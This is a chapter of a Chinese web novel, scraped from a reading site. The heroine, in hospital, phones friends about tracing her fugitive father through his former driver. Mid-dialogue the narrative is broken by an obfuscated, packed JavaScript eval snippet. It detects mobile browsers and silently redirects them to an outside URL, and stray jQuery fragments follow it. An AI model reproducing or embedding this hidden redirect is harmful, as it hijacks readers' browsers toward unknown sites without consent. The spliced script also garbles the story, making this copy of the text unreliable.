文趣网 > 都市小说 > 绑架山神后 > 59.线索
    “我有没有哪个男朋友家里流动资产至少百万起步,有辆老劳的魅影,爱穿定制衣,又喜欢染发,经常佩戴珠宝的?他常带的珠宝是香奶奶,梵克雅,海薇之类的牌子,而且是上世纪产的古董。你知道吧,那种x宫一件我一件,x宫没有我家有的那种。爱干净,工作狂,性格比较高冷,但是吧,又感觉内心是蛮温柔的。”

    对面沉默片刻,语重心长劝说道:“思衡啊,最近别太累了。夜里梦多就去看看中医,喝中药调理下。”

    “……我真的没有这种前男友吗?”

    岑思衡开始怀疑自己是不是真的想多。

    “你有的话,五百多万的债找他借点,身份洗白,以后在他手底下卖命干活就行了。你再猜猜,你为什么没这么干呢?是不喜欢吗?”

    “……”

    方知意说的好对,她竟无法反驳。

    要是有她说的这种人,岑家出事后以自己当初的性格,一定会马不停蹄抱上对方大腿,誓死效忠金主大人。

    问题是,她谈过的几个前男友实在没有哪个像渡泠这样的。

    柏洲那傻叉哪来的假情报误导她?

    “也不对啊,柏洲告诉我说‘你和她什么关系,我就和她什么关系。’我和柏洲的关系也就是前朋友,还能有什么关系?”岑思衡碎碎念,忽然想到什么,露出惊恐的表情,“陈中赫在外边多生了几个儿子?他们都是我同父异母的哥哥弟弟?!”

    方知意:“……不妨你去柏洲面前喊他一声弟弟看他答不答应?”

    “算了,等会再去。”岑思衡真听进去了,把这些乱七八糟的都撇开,只问起方知意最近衣食起居。

    “挺好,头发剃了。第二次化疗后就光溜溜的,洗发水都省了,知道水煮蛋吧,捞起来就能出锅。我都快爱上寸头了。胡哥儿子,就是那个黄毛偶尔还来看望,上次给我打包了一盘酸菜鱼,我以为他良心发现,结果发现那是他午餐。我的午餐是酸菜鱼赠送的水煮蛋和鱼头豆腐汤。”

    ……怎么还带回梗?

    “洛烨也来了,送了花,跟我说是蔷薇。我一看这傻孩子心思都在摄影上了,送的月季说是蔷薇,满天星其实是银胶菊。我怀疑是店家下乡路边刨的。然后让她以后别去那家卖花的店了。她没听懂,说花凋谢的差不多了让我通知她过来把花晒干泡脚。”

    “……”

    果真是实用派。

    “还有,听说胡哥他们最近跟走私船队走得很近,应该还没放弃找到你爸。我跟他们说,不如四个人一个皮划艇学学鲁滨逊就过去了,还不用那么麻烦。他们没鸟我。”

    要是真听进去被抓了怎么办!

    噢不对,一个大浪打过来,就真要成漂流记了!

    岑思衡内心翻涌着各种吐槽,没敢出声,生怕方知意身体不好导致的心情不好连带着她也遭殃。

    但这一通电话愣是打了一个多小时。

    挂断那刻,岑思衡有点怅然若失。

    怎么说呢,感觉像听了场单人脱口秀。

    果然苦难是造就文学的温床啊。

    原本她想抽空去看完方知意,可方知意现在剃光了头发,不愿意见客,只能算了。

    这时候多打点钱过去傍身才是真的。

    放下手机,她叹了口气,谁知牵动伤口,断掉的三根肋骨在胸腔里隐隐作痛。

    新伤叠旧伤,继续躺医院。

    第一时间找完方知意确认她安好后,岑思衡拿起手机,想了想,给洛烨发了条消息。

    [阿烨,之前托你查我父亲陈中赫的事先不用查了。我怕你有危险。]

    炒房、装摄像头这是她查到的。

    在公司时,陈中赫联合朱家人非法集资,炒币,伪造证件等等是她知道的。

    实在不宜再让洛烨追查下去。

    万一陈中赫留有眼线在国内,设局弄死洛烨易如反掌。

    她在病床上想着,洛烨发来消息。

    [正好,我又去查了下你们说的那个居民楼。那个地方封锁起来了你们知道吗?我趁夜进去的。]

    看到这条信息,岑思衡直接一个鲤鱼打挺,隐痛变剧痛,又倒回床上。

    她忍痛忍得龇牙咧嘴,赶紧电话打过去问清楚情况。

    "你放心啦,封锁归封锁,那里没人。"

    是没人,可有浼物啊!

    岑思衡满腹心事没法说,憋得难受。

    洛烨应该是在开车途中,刚接起来时还有风,再说话时风声小了许多,声音也清晰了。

    "我特意挑选了个时间,凌晨三点过去的。你都不知道那鬼地方有多偏僻,差点我都找不着。不过到那后我还遇到了个人,真想不到……"

    岑思衡不自觉提高嗓音:"你遇到了谁?!"

    "哎呀,别喊别喊,就遇到了个拾荒老人。"洛烨话锋一转,"他说前段时间,这栋楼没人住但还是会有矿泉水瓶啤酒瓶之类的东西留下来,偶尔会有箱子。攒一段时间他就会过来收。也是个苦命人,他没房子住,住附近桥洞,又害怕那片地,没敢去那住。"

    怎么听着这么诡异?

    细细想想又合乎情理。

    老年人觉少,洛烨又是凌晨三点去的,以前她干黑活这个时间段也能偶尔看到零星几个拾荒者。

    除去这些,岑思衡又想起曾经和乐薇到那座居民楼时曾经看到过暗青色蛇皮袋里装着各式各样的瓶子,当时没细想,还以为是从前居民楼的人留下的,原来是拾荒者。

    岑思衡追问:"你遇到之后呢?"

    "嘿嘿,你猜猜这个拾荒者他是谁。"

    "快说快说,我猜不出。"

    "你爸以前司机的邻居的二大爷,跟朱诚他们还是远亲。"

    混沌的脑子在这刻清明,岑思衡压抑着预感听到好消息的激动,屏住呼吸。

    "我打听到这位在一个月前遇到过朱诚,你爸那位司机跟他有联系。但朱诚现在是失信人,在搞些仿冒奢侈品的生意,出口去别的国家,近期找不到人。司机貌似在跟着他干,对了,那位司机儿子得了白血病,虽说特别缺钱,但你别费心思在这做突破口了。"

    岑思衡直觉不对:"你有没有问这个司机儿子为什么会得白血病?"

    "问了,你爸出国前给他们家一笔钱作为封口费,他们立刻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942079|207902||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    买了房子,结果儿子得白血病后扔医院没管过,忙着把钱省下来要二胎呢。司机现在住的地址我也给你要过来了,发你手机。"

    无情无义,利己主义。

    好搞,也不好搞,得抓住他的痛点。

    岑思衡在心里有了初步印象,再去看地址,也和自己印象里一样。

    她在心里默默记下洛烨对自己的帮助,等渡泠那边钱发下来后再打过去聊表心意。

    又聊了两句现状后,两人互道再见挂断电话。

    躺在床上,思考完整件事,岑思衡没有了过去的迷茫。

    陈中赫的踪迹现在就像是吊在面前的大礼包,需要抽丝剥茧,耐心蛰伏,等到她能真正够到他的那天。

    诚然,她以前不相信陈中赫会抛下自己,心里总有种隐秘的期待,毕竟自己是他亲生女儿。

    可到如今,岑思衡清楚认识到自己这个想法有多愚蠢。

    他费尽心机算计岑铮,布下这么一大盘棋,怎么可能还会顾忌血缘这东西。

    只要他还有钱傍身,随时随地都可以找另外的人给他生下孩子,自己又算得了什么。

    从前她总希望得到陈中赫的认可,再往下深想,更像是某种失权下的自救。

    陈中赫攥着家里资产,家族资源都被他无声无息挪走。

    岑铮前期放任自己在他手底下干脏活,想把资产弄回手里时,怕是早想到过有这么一天。

    问题是,岑铮怎么也不留下一句半句话?

    怕自己涉险?

    然而岑铮可不是会让自己长在温室里的性格,不然早就叫停她替陈中赫干的那些事了。

    唯一的解释……

    岑思衡慢慢攥紧被子,双眼望着天花板。

    猜想再多,一切还是要等到见面之后。

    把这件事先放一放,她再次拿起手机,想要联系夜枭。

    不过那次看到夜枭伤势这么重,会不会还在icu?

    她不确定。

    忍了会,等到护士出现,岑思衡赶忙拦住打听消息。

    "跟你一块入院的呀,是有个小姑娘,少数民族说话听不懂,还是在线上找了翻译,放心,她没事,看着严重,没伤到内脏。"

    高端私立医院没有太多事,护士小姐很有空给她说下同伴的情况。

    "有个帅哥就比较危险了,开放性骨折,坚持了这么久才来……"

    岑思衡忍不住打断:"截肢了吗?"

    "噢这倒没有。"

    "清创固定后预防感染,要打骨钉慢慢养。他身体素质不错,后期应该没有多大事。"

    两个人都没事。

    她可以放心了。

    岑思衡点点头,说了声谢谢,问明这两个在哪后又躺了一段时间,歪头默默看向能映出人影的玻璃窗。

    也不知道渡泠怎么样了。

    做心肺复苏时是他还是柏洲?

    昏过去时做的梦太过美好,又恰好是现实与梦境的交际,她在他渡气时没伸舌头吧……

    还有她的结算工资,会不会被渡泠以性骚扰的名义悄咪咪扣掉……

    不会吧……